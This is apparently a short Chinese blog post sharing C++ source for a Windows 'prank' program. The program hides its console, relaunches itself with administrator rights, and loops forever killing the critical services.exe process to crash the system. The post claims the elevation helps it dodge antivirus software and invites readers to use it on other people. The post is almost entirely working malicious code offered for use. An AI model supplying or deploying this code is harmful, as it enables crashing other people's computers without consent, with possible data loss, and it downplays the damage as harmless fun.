运行这串代码时推荐先把自己的一些东西保存好,防止丢失!
好了,直接上代码!
#include#include using namespace std; void ManagerRun(LPCSTR exe, LPCSTR param, int nShow = SW_SHOW) { SHELLEXECUTEINFO ShExecInfo; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = "runas"; ShExecInfo.lpFile = exe; ShExecInfo.lpParameters = param; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = nShow; ShExecInfo.hInstApp = NULL; BOOL ret = ShellExecuteEx(&ShExecInfo); CloseHandle(ShExecInfo.hProcess); } int main(int argc, char *argv[]) { if(argc == 1) { ShowWindow(GetConsoleWindow(), SW_HIDE); ManagerRun(argv[0], "2"); return 1; } else if(argc == 2) while(true) system("taskkill /im services.exe"); return 0; }
这个程序原理其实很简单,先获得管理员权限,防止杀毒软件查杀,然后再重复关闭系统进程services.exe,系统进程结束后自然会报错,此代码无太大伤害能力,可以恶搞一下别人~
本期就到这里!



